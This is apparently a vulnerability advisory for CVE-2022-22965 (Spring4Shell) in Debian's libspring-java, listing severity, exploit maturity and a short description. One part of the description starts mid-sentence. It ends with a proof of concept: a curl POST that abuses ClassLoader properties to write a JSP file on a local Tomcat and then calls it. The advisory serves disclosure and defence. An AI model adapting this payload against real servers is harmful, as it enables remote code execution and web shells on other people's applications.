Remote Code Execution Affecting libspring-java package, versions *


Severity

Recommended
low

Based on Debian security rating.

Threat Intelligence

Exploit Maturity
Mature
EPSS
97.43% (100th percentile)

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  • Snyk IDSNYK-DEBIANUNSTABLE-LIBSPRINGJAVA-2438310
  • published1 Apr 2022
  • disclosed1 Apr 2022

Introduced: 1 Apr 2022

CVE-2022-22965  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for Debian:unstable libspring-java.

NVD Description

Note: Versions mentioned in the description apply only to the upstream libspring-java package and not the libspring-java package as distributed by Debian. See How to fix? for Debian:unstable relevant fixed versions and status.

via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application.

Note: Current public exploits require victim applications to be built with JRE version 9 (or above) and to be packaged as a WAR file that is deployed to Tomcat. However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.

PoC

1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
  -H "pre:<%" \
  -H "post:;%>" \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp

CVSS Scores

version 3.1